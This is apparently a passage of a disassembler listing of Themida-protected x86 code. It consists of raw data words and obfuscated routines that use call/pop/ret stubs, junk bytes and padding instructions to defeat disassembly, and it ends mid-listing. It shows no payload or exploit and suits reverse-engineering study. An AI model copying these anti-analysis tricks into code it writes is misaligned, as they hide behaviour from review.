57BE0000h, 0C744FD3Ch dd 190A2685h, 106h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 711E190h, 52EAAA3Bh, 5880Fh dd 0B9BE0000h, 5F7FA118h, 11E9h, 8621A800h, 5DE7626Dh dd 8B25FD73h, 0CDE64412h, 52E90167h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0D318C357h, 0FD8D2F53h, 2685C72Fh, 6190Ah, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 4935C357h, 0C8E326C9h, 0BF0FA01Ah, 799D8DF1h dd 0F8061510h, 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 63EACDC3h dd 0E5E399FEh, 8174666Bh, 67442EEFh db 3 ; --------------------------------------------------------------------------- loc_5BA815: ; CODE XREF: Themida_:005BA639j mov bx, ds mov [ebp+6152AEDh], esi test bl, 4 jz loc_5BA88C push 0 push ebp call sub_5BA832 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA832 proc near ; CODE XREF: Themida_:005BA82Ap arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5BA832 endp ; --------------------------------------------------------------------------- dw 1452h ; --------------------------------------------------------------------------- ja loc_5BA850 xor [ebp+6151195h], esi loc_5BA850: ; CODE XREF: Themida_:005BA844j or [ebp+6150CCDh], ebx call dword ptr [ebp+61518A1h] xor esi, [ebp+6150D19h] push eax mov di, 0F47Ah mov [esp], eax push 0 push edx call sub_5BA875 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA875 proc near ; CODE XREF: Themida_:005BA86Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5BA875 endp ; --------------------------------------------------------------------------- or cl, [ecx+1520CD85h] push es loc_5BA88C: ; CODE XREF: Themida_:005BA821j jmp loc_5BAC7E ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BA89C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA89C proc near ; CODE XREF: Themida_:005BA894p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5BA89C endp ; --------------------------------------------------------------------------- dd 0EB63AD3Eh, 0A36B7DAh, 0B58BC8C4h, 6151111h, 0C78100B0h dd 32B7D95Eh, 0B50B70E6h, 6152FFDh, 19820Fh, 14E90000h dd 0E8000000h, 0E2F90882h, 0D1D2E04Ah, 8A8E19A5h, 0B1F39B5Bh dd 0E4B35DA7h, 55006A71h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 66CFD25Eh, 1A68DE81h dd 6AD8B60Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 9F6DC356h, 5810Fh, 0FDBE0000h dd 0BA1D7E2Eh, 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 10C35545h, 0DB116D8Fh, 0CA29B0C9h, 41B52BB3h, 8B061502h dd 1504A1BDh, 6AC38B06h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 0ADCEC350h, 8B92CD73h dd 150BF1BDh, 4E8C106h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 29C35040h, 0E4D78166h, 81B5897Fh, 66061509h dd 0CE8E2F7h, 0A9000000h, 0C1E35500h, 6F2B636Dh, 5EB4530Ah dd 6AD82Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0DBB90AC3h, 4FC681D1h, 50272F1Bh, 0DEF699BEh dd 241C8976h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 60C35646h, 2A7AB1DCh, 0CBEA5A4h, 0ADB5FF64h, 0BE061508h dd 73CBAFD2h, 2E2195FFh, 5E500615h, 6A00B0h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F1BED0C3h dd 0EBBF66F9h, 6A70E6C9h, 3E85700h, 20000000h, 895FC35Fh db 7Ch, 24h, 4 ; --------------------------------------------------------------------------- loc_5BAA77: ; DATA XREF: Themida_:0057AAB8o add dword ptr [esp+4], 1Ah inc edi push edi retn ; --------------------------------------------------------------------------- dw 0F6A0h dd 3E1106ABh, 8B71E4F1h, 15037DBDh, 0F613C06h, 1E583h dd 0F18B6600h, 22D1BD8Bh, 0B60F0615h, 6820FD8h, 81000000h dd 0D1A266E6h, 6BA43h, 9D290000h, 6150371h, 2950C38Bh dd 1511499Dh, 0E8C15F06h, 0BD316004h, 6150E09h, 12E960h dd 0EA90000h, 8B6DB9A4h, 839985Ah, 35D94156h, 96E1CF45h dd 61619AB1h, 66E2F766h, 66BBE681h, 6AD82Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8334FBC3h dd 58BCA0ECh, 2F4D9D89h, 0D82B0615h, 158880Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0BF3C93C3h, 0B2E7C78h, 7B9h, 0C7816600h, 0C1835D4Bh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 1BC91456h, 0D93BF18Bh, 100860Fh, 0BD330000h dd 61510ADh, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 800AC356h, 0F55F37Fh dd 681h, 850F00h, 0F6000000h, 840F04C1h, 8Ah, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 65C35040h, 0F463688Fh dd 95FFD91Dh, 61518A1h, 12E9h, 24B00E00h, 97144478h, 374640CCh dd 8C165285h, 668B310Eh, 665BF78Bh, 0C32BF08Bh, 0A6E78166h dd 8343DD3h, 860F0000h, 32h, 0A221BE66h, 61E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0E026F4D6h, 1EF9CCDEh, 28D5BE3Eh, 0C08B0B6Eh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E7C35343h, 20333945h dd 0E88CB8ABh, 68E0Fh, 95290000h, 6150A8Dh, 6925E681h db 29h, 6Fh ; --------------------------------------------------------------------------- loc_5BAC7E: ; CODE XREF: Themida_:loc_5BA88Cj mov eax, ebx mov ebx, eax jmp loc_5BAC9A ; --------------------------------------------------------------------------- db 0A5h dd 71F3710h, 3350F0A9h, 0B30C7B29h, 0B35A4CFBh db 0E9h, 2Dh ; --------------------------------------------------------------------------- loc_5BAC9A: ; CODE XREF: Themida_:005BAC82j mov dword ptr [ebp+6152715h], 30081FD3h movsx esi, di mov eax, eax call sub_5BACBB or dl, [esi-2Dh] adc [ecx], eax pop ecx cmp esi, [edx+edx-7E46EF79h] ; =============== S U B R O U T I N E ======================================= sub_5BACBB proc near ; CODE XREF: Themida_:005BACA9p ; FUNCTION CHUNK AT 005BAD32 SIZE 0000001C BYTES pop edi cmp dword ptr [ebp+61508ADh], 7D0h jnz loc_5BAD32 push 0 push edx call sub_5BACD7 and [edx-3Dh], bl sub_5BACBB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BACD7 proc near ; CODE XREF: sub_5BACBB+14p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5BACD7 endp ; --------------------------------------------------------------------------- db 74h dd 0BB0EB692h, 0E9A31930h, 11h, 7E4E2AC4h, 4822E508h, 11ED6C30h dd 0F1E185Bh, 0AD85FFDAh, 6A061508h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FE7FC351h dd 53C9BC9Dh, 0BF66337Dh db 5, 0AFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BACBB loc_5BAD32: ; CODE XREF: sub_5BACBB+Bj push dword ptr [ebp+61508ADh] sub si, 3090h call dword ptr [ebp+6152E21h] push 0 push eax call sub_5BAD4E and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5BACBB ; =============== S U B R O U T I N E ======================================= sub_5BAD4E proc near ; CODE XREF: sub_5BACBB+8Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5BAD4E endp ; --------------------------------------------------------------------------- dw 5B2Eh ; --------------------------------------------------------------------------- movsx edi, di nop or esi, [ebp+615007Dh] mov esi, [ebp+6150899h] xor [ebp+6150C6Dh], ebx push 0 push eax call sub_5BAD81 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BAD81 proc near ; CODE XREF: Themida_:005BAD79p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5BAD81 endp ; --------------------------------------------------------------------------- db 30h, 97h, 58h ; --------------------------------------------------------------------------- cmc jmp loc_5BADAC ; --------------------------------------------------------------------------- dw 0BC60h dd 5DA888A2h, 8266115Eh, 0DC4D84A6h, 2700CBECh ; --------------------------------------------------------------------------- loc_5BADAC: ; CODE XREF: Themida_:005BAD95j xor si, 3459h push 0 push ebp call sub_5BADBC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BADBC proc near ; CODE XREF: Themida_:005BADB4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5BADBC endp ; --------------------------------------------------------------------------- cmpsb ja loc_5BADEE jno loc_5BADE2 movsx esi, di mov [ebp+6150AC5h], esi loc_5BADE2: ; CODE XREF: Themida_:005BADD3j pusha pusha popa add [ebp+6151D1Dh], ecx mov cl, 0B7h popa loc_5BADEE: ; CODE XREF: Themida_:005BADCDj mov edi, ecx push 0 push ebx call sub_5BADFB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BADFB proc near ; CODE XREF: Themida_:005BADF3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5BADFB endp ; --------------------------------------------------------------------------- db 82h dd 42089557h, 38A0F01h, 0F000000h, 6AFAB7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0E783DDC3h dd 6CCC8354h, 14E8h, 81785700h, 67DFD10Ch, 11A55943h, 858510C3h dd 474D31F8h, 0F7F4BECCh, 895F6EBAh, 15187D8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0F963DB43h, 0BD8BBC7Bh, 6152325h, 0FFF76EE9h, 6D8589FFh dd 6606150Ah, 40FFE781h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B68EBC3h, 151D61BDh dd 104EB06h, 8B000000h, 152FD9B5h, 0F18B6606h, 2773BF66h dd 279D858Dh, 0DE810615h, 0BB51B02h, 0E83BE50h, 48957A7h dd 0B8BE6624h, 6A006ACFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0EA69C350h, 55512467h dd 0FE2BF3Ah, 138Dh, 0EE900h, 0BC8F0000h, 42980DC3h, 34AD49F1h dd 7D47248Dh, 0BD8B006Ah, 6151A31h, 1652858Dh, 6A0619h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 8BE041C3h, 151501BDh, 5C08306h, 88C0Fh, 89520000h, 151A059Dh dd 82BF5F06h, 50265A38h, 89F38B66h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0C51EAEC3h dd 66E0306Ch, 6AE779BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 11BEF66Ah, 8B135FC6h dd 151DC1B5h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9C38C356h, 1BBE1AC6h dd 0EE745FC6h, 267995FFh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0F28EB1C3h, 8D0F4DD3h dd 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+6189C15h] push 0 push ecx call sub_5BB029 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB029 proc near ; CODE XREF: Themida_:005BB021p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5BB029 endp ; --------------------------------------------------------------------------- push cs rcr byte ptr [edi+20h], cl daa aad 0FFh ror dword ptr [ebx+151CE5BDh], cl push es inc dword ptr [ebp+6151535h] push 0 push eax call sub_5BB058 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB058 proc near ; CODE XREF: Themida_:005BB050p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5BB058 endp ; --------------------------------------------------------------------------- dd 63D26A1Bh, 45BD8BA6h, 60061528h, 29DB503h, 858B0615h dd 6150529h, 836E961h, 0E80000h, 5D000000h, 165CED81h dd 0E9600619h, 6, 9339E5D9h, 0B70F374Ah, 0BD8161D7h, 61508ADh dd 7D0h, 146860Fh, 8B660000h, 699D8BF3h, 89061511h, 15177585h dd 0E38106h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0BA59C355h, 251AE799h dd 11B529E2h, 0B061525h, 0BA850FDBh, 0FC000000h, 1490BD83h dd 0F000619h, 5184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 4D0B257Dh, 5E9D809h, 12000000h dd 76053A1Bh, 96E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C06E8093h, 85C74F5Ah dd 6191490h, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 1EC35040h, 29418D89h, 44E90615h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 672EC352h, 4FC60B68h, 81F8F6AAh, 26F7BBE6h, 9085C711h dd 61914h, 60000000h, 11F9B589h, 0F530615h, 88h, 8D615A00h dd 1511699Dh, 9919BF06h, 23813590h, 0FFFFFEFFh, 619D3160h dd 0E8061500h, 0Ch, 9E56DFFAh, 2F527473h, 926EA2B2h, 61585FB5h dd 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0E9F9C355h, 0Dh, 7C3DD53Bh, 143A2881h dd 83A89E7Dh, 4C3F6C0h, 5A840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BAD48C3h dd 151799B5h, 1C860F06h, 0E8000000h, 14h, 0EA82423Bh, 2E1EE9C2h dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0FF5F5F56h, 1518A195h dd 61D8BE06h, 8B9075B6h, 5E5050F9h, 0FA8B6690h, 42DE9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 359F5E63h, 0CE8166ABh, 8B66318Bh, 6A00B0FEh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0B893C352h, 0A1F0C024h, 0B8EE8166h, 6A70E645h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 364C353h, 0BD8B71E4h, 6152D99h, 0E9D8B60Fh dd 0Dh, 0FF87F732h, 0DC1D4981h, 0F233235Ch, 6BA86h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 772C5AC3h, 0A6AD1300h, 0C99501BDh, 8B061506h, 0DDB589C3h dd 0C106152Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 4FA99CC3h, 0F53C6D7h, 683h, 319D2900h dd 6606150Dh, 0BD8BE2F7h, 6150D81h, 6AD82Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 79589BC3h dd 48B0Fh, 60560000h, 66505F61h, 895641BEh, 6A241Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 6E1DD3C3h, 0C4D450BBh, 0B5FF1862h, 61508ADh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6FC35747h, 2195FF2Eh dd 6A06152Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 8A55C350h, 27445970h, 0C7CC2C89h dd 0FE9h, 0E62CBB00h, 0D23B0F65h, 417A36Ah, 0EFF3B9B2h dd 0BF0F00B0h, 170E6F9h, 15219185h, 6A71E406h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 9D11C352h, 500FF465h, 0BE9h, 15B93C00h, 2A986529h, 0B4FD50DAh dd 830F613Ch, 232h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 7EC35545h, 0F6BE39CEh, 310AB1ABh, 1517358Dh dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 57C35545h, 81669AEDh, 0BA2550DEh, 6, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F2C35040h, 6AC38B3Ch dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 24F3C352h, 6185019Dh, 0C1061505h, 0BF0F04E8h dd 91B58BF2h, 66061525h, 8D89E2F7h, 6150AA9h, 2175B58Bh dd 0D82B0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0ADC35242h, 7C4F48F7h, 6A58C93Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1DCDC355h dd 0A1BD8BB8h, 2B06150Ah, 2F880FD8h, 66000001h, 0B9EE03BEh dd 7, 0DF5B531h, 0C1830615h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E4B04E04h dd 0F28B2C82h, 860FD93Bh, 0F2h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 5FC35747h, 2286CCDDh, 3D95892Bh dd 66061521h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 4B2D08C3h, 0B58B1832h, 6152469h dd 0F04C1F6h, 9184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 0FFA527F0h, 1518A195h dd 5BD8906h, 5B061525h, 0E880Fh, 89600000h, 1510F5B5h dd 6D8D8B06h, 61061521h, 343DC32Bh, 0F000008h, 4586h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 93CA09CFh, 179DB58Bh, 81660615h, 0E9873FEFh, 1Eh, 11E9h dd 0BA8B0D00h, 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0C08B0B67h dd 2D21BD8Bh, 0C38B0615h, 8166D88Bh, 0C7B8D1E6h, 15107985h dd 427B1506h, 0FC67BE5Bh, 0C08B5561h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 57C35646h, 219A183h, 0B58BCD41h dd 6150BC9h, 8ADBD81h, 7D00615h, 850F0000h, 5Ah, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C9C35545h, 353A2B10h dd 83B08358h, 6830F88h, 81000000h, 882DC1CFh, 0AD85FF38h dd 6A061508h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 3087C357h, 0BB57BFF5h, 0B5FF41ACh dd 61508ADh, 54BEBF66h, 2E2195FFh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BE2A94C3h dd 75848EABh, 958950EBh, 615054Dh, 0BF66905Eh, 6AE335h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 526818C3h, 8D89523Bh, 6152795h, 13E95Eh, 0B9A40000h dd 985A8B6Dh, 41560839h, 0CF4535D9h, 71E796E1h, 57006A8Ah dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 3F743E4Ah, 5DBF662Eh, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 0D3DB537Fh, 0FF2EE04h dd 218Dh, 28C0F00h, 60000000h, 14E961h, 756E0000h, 7426501Dh dd 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 840FC61Bh, 7, 8E0Fh dd 6AF90000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 2E82C352h, 357E459Ah, 71858944h, 66061533h, 0AD04C781h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 24C35545h dd 5E9F8h, 2CE90000h, 0E92E012Ch, 0FFFFF7CAh, 6AC18Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 676AFEC3h, 0B50980A4h, 9E8h, 0BC386D00h, 0BBA835Ah dd 0BD335EE8h, 6151511h, 0FE95Eh, 1E440000h, 1E4DDE83h dd 7938202Ah, 5B4EF101h, 104EBDFh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0DEE3C357h, 53BC512Dh, 2F2DB58Bh, 235F0615h, 150699BDh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0D0A4F7A9h, 1880FB6h, 0F5000000h, 279D858Dh dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 1E571C3h, 6657C9A5h, 1102CE81h, 5660505Eh dd 0CE8h, 448DD400h, 0F274D38Bh, 41A19B51h, 525E5EF2h dd 310F5250h, 615A585Ah, 29240489h, 15098195h, 859D8906h dd 6A06150Ah, 59858900h, 89061524h, 15215DB5h, 6A006A06h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0E532C357h, 0C2858D84h, 0BF061920h, 4475E8EEh dd 6A05C083h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 4C9BC357h, 0FF48877Ah, 5050FC98h dd 0F5E5752h, 66525031h, 0F4A4FBEh, 5A585A31h, 24048958h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BFC35242h dd 0B665E7FAh, 66538EBFh, 815EFA8Bh, 6330AAD6h, 1006A2Ah dd 1510C985h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 9A37C357h, 46642E44h dd 0FFF7BF0Fh, 15267995h, 0DEE8106h, 37B7CC3h, 1510FDBDh dd 159D8D06h, 0F06189Ch, 0B83h, 6E900h, 0E1BA0000h, 69F9119Bh dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 59B9F8C3h, 0A42D8383h, 895A0556h, 150C51B5h dd 3585FF06h, 0F061515h, 83h, 7FCE900h, 0E80000h, 5D000000h dd 20CCED81h, 6A0619h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 16E434C3h, 0BD092ADEh, 6151D71h dd 8ADBD81h, 7D00615h, 860F0000h, 147h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 18h, 67C35747h, 23E7A812h dd 29F98B66h, 15161D95h, 0E59D8B06h, 2B061515h, 152FB9BDh dd 0E38106h, 81000001h, 11F1FBD6h, 0FDB0B48h, 7485h, 0F9BF0F00h dd 1EDCBD83h, 0F000619h, 2D84h, 0FB8B6600h, 88E9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0EBA7DF11h, 5A59D89h, 85C70615h, 6191EDCh, 1, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 34C35545h, 9FF57904h dd 32E99702h, 8B000000h, 152A85BDh, 0DC85C706h, 6191Eh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 185C351h, 54ED345h, 0E59D8D02h dd 6A061515h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0B84EC351h, 0AEE5BC59h, 0FF23816Ah dd 6AFFFFFEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0EDECC353h, 0DDDB0591h, 0FC44E90h dd 688h, 0A9BD8B00h, 66061501h, 6ADB8Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C3F621C3h dd 2C840F04h, 66000000h, 88C2DF81h, 0A195FFF8h, 8B061518h dd 1522F5B5h, 0F38B9006h, 0AE950h, 21D00000h, 86A0161Eh dd 0CB54EFBEh, 0E9858990h, 0E9061533h, 409h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 79C35040h, 9965E033h dd 684AFAB8h, 0FE8h, 72F6E900h, 82C654BCh, 51EFE146h, 29AD1C0Eh dd 10E9h, 0E2CD4300h, 0A2640AD6h, 0A6A2FAE0h, 7B07D1A4h dd 0B05EB2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0C5C35040h, 59A77D5Fh, 6DBD8B71h, 0E6061516h, 56006A70h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 19C8F836h, 71E4568Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0CC35242h, 0FFA8BC3h, 0C8Bh, 6830F00h dd 0F000000h, 89h, 0D8B60F00h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 2CC35141h, 6BA144Dh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0EDBCC356h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 459CCDC3h, 43A03940h dd 30C6DA0h, 152959B5h, 4E8C106h, 23358589h, 0F7660615h dd 50006AE2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0D1CA97D2h, 0FCECE0Dh, 0D82BFFB7h, 5E8h dd 9ADE8600h, 95895D95h, 6150E39h, 3A63BE5Eh, 52930108h dd 6D3EBE66h, 860F505Eh, 16h, 11E9h, 5893C700h, 263EEC81h dd 11191E1Ah, 6F3041EFh, 6A93FE79h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E9DDC350h dd 0ADB5FFA7h, 0F061508h, 95FFF6BFh, 6152E21h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AC35747h, 0DA45FE77h dd 290D86C1h, 152CB59Dh, 0BD68106h, 0B016E919h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0E6F98BC6h, 6071E470h, 11219D89h, 0C8800615h, 613C61ACh dd 1CB830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0CD72A1C3h, 0B509C9BBh, 6150989h dd 921BD8Bh, 0B60F0615h, 0BA5F56D8h, 6, 88A0Fh, 33530000h dd 151945B5h, 0C38B5E06h, 0F1BD8B56h, 5E061509h, 6A04E8C1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0FCAAC357h, 0B589EB37h, 61510C9h, 2BE2F766h dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 0CD304FACh, 67D6A0BFh, 0C681584Eh, 61F35229h dd 880FD82Bh, 11Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0E1C35343h, 7559F343h, 0BEF08B60h, 319359C2h dd 7B961h, 0BE660000h, 0C183F87Bh, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 836471F9h dd 0F781185Ch, 42F30AC6h, 0A6504DBEh, 0FD93B0Ah, 0B486h dd 0FEB70F00h, 0FD98C66h, 0D83h, 8D8B6000h, 61518D1h, 0AF968DB9h dd 85896140h, 6152CB5h, 0F04C1F6h, 6B84h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0EF32E06Ah, 3BB3CCD8h, 0FADF0ABEh dd 0A195FF54h, 33061518h, 151165B5h, 0C32B5B06h, 0D710E681h dd 343D7A49h, 0F000008h, 2386h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E9EF3B6Ah dd 21h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8BCEA9C3h, 8BC38BF2h, 0BE8D8h, 0ED4B0000h dd 2EFC7306h, 36129DECh, 5FF08B7Fh, 116985C7h, 0CD950615h dd 6A1D25h, 3E857h, 5F200000h, 